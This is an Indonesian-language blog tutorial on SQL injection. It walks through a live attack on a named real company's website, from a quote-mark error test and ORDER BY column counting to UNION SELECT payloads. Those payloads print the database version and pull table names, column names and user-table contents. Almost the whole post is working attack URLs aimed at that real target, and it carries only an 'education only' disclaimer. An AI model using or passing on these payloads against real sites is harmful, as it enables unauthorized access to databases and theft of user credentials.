Pernahkah kamu mendengar tentang penyerangan hacker menggunakan tekhnik SQL Injection ? Apa sih SQL Injection ? Fungsinya SQL Injection ?
Oke kali ini saya akan menjelaskan dan bagaimana cara melakukan SQL Injection dan tutorial ini hanya untuk Edukasi Saja, Apapun yang anda lakukan dan praktekan ke website lain, saya selaku admin All-OneTech tidak bertanggung jawab.
Oke dari awal dulu.
Pengertian
SQL Injection, adalah sebuah teknik hacking yang memanfaatkan celah pada url website, biasanya digunakan untuk mengambil password dan kueri kueri penting, dan juga biasanya untuk dijadikan sarana BUG BOUNTY.Tutorial SQLI
Cara melakukan SQL Injection ini gampang-gampang susah, karena mencari website yang VULN / Rentan dengan serangan SQL Injection ini lumayan susah.Kita kali ini menggunakan target : https://www.kabelindo.co.id/readnews.php?id=28
1. Testing BUG ID
Perhatikan pada url tab, di dalam url tab tersebut terdapat ID=28 kemudian kita coba eksekusi caranya dengan menambahkan tanda petik ( ' ) jika terjadi error maka web tersebut bisa kita eksekusi lebih jauh
https://www.kabelindo.co.id/readnews.php?id=28'Jika VULN muncul seperti gambar di bawah ini, jika sudah begini biasanya bisa kita eksekusi lebih jauh nih.
2. Find Error Clause
Langkah yang kedua itu kita mencari Error Clause, atau yang tidak ada di dalam database, atau ke kosongan yang ada di database dari target
Sebelum melakukan Error Clause, kamu harus sabar karena mencari error itu lama. Nah dimulai dari angka 1 - Ntah
Disini saya udah menemukan Error Clause dari Web KabelIndo tersebut, yaitu :
- http://kabelindo.co.id/readnews.php?id=28+order+by+1 => Tidak Error
- http://kabelindo.co.id/readnews.php?id=28+order+by+2 => Tidak Error
- http://kabelindo.co.id/readnews.php?id=28+order+by+3 => Tidak Error
- http://kabelindo.co.id/readnews.php?id=28+order+by+4 => Tidak Error
- http://kabelindo.co.id/readnews.php?id=28+order+by+5 => Tidak Error
- http://kabelindo.co.id/readnews.php?id=28+order+by+6 => ERROR
Link :
Sebelum
http://kabelindo.co.id/readnews.php?id=28'Sesudah
http://kabelindo.co.id/readnews.php?id=28+order+by+[cari dari angka satu]
Jangan lupa hapus petik yang tadi udah di lakukan di Cara yang pertama.
3. UNION SELECT
Langkah ke Tiga itu UNION SELECT adalah mencari angka di dalam WEBSITE dan angka yang muncul dapat di eksekusi untuk mencari :
- Versi Database
- Nama Penyerang
- Username Dan Password
- PHP Version
- User Database
- DLL
Disini Saya akan menampilkan Nama Penyerang, Versi Database, Username dan Password saja.
Ketikkan perintah :
+union+select+[angka Error Clause Di Kurangi 1]--maksudnya, sebelumnya sudah kita tes error clause dan ketemu di angka 6 maka untuk melakukan Union Select kita kurangi 6 menjadi 5, dan jangan lupa berikan tanda min ( - ) di depan id= . Perhatikan Kode Di Bawah
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,2,3,4,5--Jangan masukan sampai 6 nanti web tersebut akan kembali normal, cukup kurangi satu angka jika sudah ketemu pada cara yang ke 2.
akan tampil seperti ini
Angka Angka Tersebut dapat kita eksekusi lagi pada Langkah Ke 4.
4. Print
Langkah selanjutnya itu Print atau tampilkan yang ada di dalam database, dan langkah ketiga saya sudah mengatakan saya akan menampilan Nama Saya ,Versi database, Username dan Password saja.
Lihat angka yang muncul, ada apa saja ? angka angka tersebut kita bisa olah di :
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,2,3,4,5--Setiap angka yang tadi sudah di tampil, kita eksekusi juga sesuai dengan union select. Misalkan kita ingin menampilkan nama kita di Nomer 2 berarti kita lakukan :
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0xNOMER HEX),3,4,5--Cara Print nama kita caranya yaitu concat(0xNOMER HEX), kalian bisa buka SIni untuk merubah String kalian menjadi kode Hex. Jika Sudah Maka akan menjadi Sepertin ini
concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368)Jika sudah maka jadi seperti ini ganti nomer dua menjadi kode diatas
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),3,4,5--Maka Akan tampil seperti Ini
Tampil yang tadi sudah kita Convert, Nah tersisa dua angka yaitu 4 dan 3.
Saya akan eksekusi lagi Nomer 4 untuk menampilan versi database dan nomer 3 untuk menampilkan username dan password
Caranya sama hanya sedikit kode untuk di replace ke nomernya
List untuk Eksekusi :
- @@version — menampilkan Versi database
- user() — menampilkan Nama User database
- @@hostname — menampilkan Hostname
- @@tmpdir — menampilkan Direktori temp
- @@datadir — menampilkan Direktori data
- @@basedir — menampilkan Direktori base
- database() — menampilkan Nama Database
- schema() — menampilkan Database yang dipakai
- session_user() — menampilkan Session User
Sebelum
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),3,4,5--Sesudah :
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),3,@@version,5--Maka Tampil :
Nomer 3 Username dan Password :
Untuk Mengetahui User dan Password Ini Agak Ribet karena butuh Balancing.
Taruh ini di Nomer 3
group_concat(table_name)Dan taruh ini di belakang angka 5 dan hapus --
from information_schema.tables where table_schema=database()Maka menjadi
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),group_concat(table_name),@@version,5%20from%20information_schema.tables%20where%20table_schema=database()Jangan Pusing dulu, ini cuman ribet.
Kemudian muncul seperti ini
Gak kelihatan ? Inspect Element.
Jika sudah cari yang berbau user, username, tbuser.
jika sudah ketemu lakukan :
Masih Tetap di nomer 3 kemudian paste :
group_concat(column_name)Dan ini juga
from information_schema.columns where table_name=0x[table yang sudah ketemu]Jangan lupa table yang tadi sudah ketemu di jadikan kode Hex
Jadi Seperti ini
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),group_concat(column_name),@@version,5%20from%20information_schema.columns%20where%20table_name=0x74616275736572Kemudian akan muncul seperti ini
Nah langkah Terkahir kita tinggal Print Setiap column nya
Masih Tetap nomer 3 :
group_concat(userid,0x3a,menucode,0x3a,menusub1,0x3a,menuprog)dan paste ini di paling belakang
from tabuserMaka akan jadi seperti ini :
http://kabelindo.co.id/readnews.php?id=-28+union+select+1,concat(0x496E6A6563746564204279204172696B756E207C20416C6C2D4F6E6554656368),group_concat(userid,0x3a,menucode,0x3a,menusub1,0x3a,menuprog),@@version,5%20from%20tabuserDan Kebetulan Isi dari column tersebut kosong.
Sekian Tutorial SQL Injection For Education
0 Komentar
Berkomentarlah dengan menggunakan bahasa yang baik dan benar agar tidak menyinggung pihak lain atau orang lain.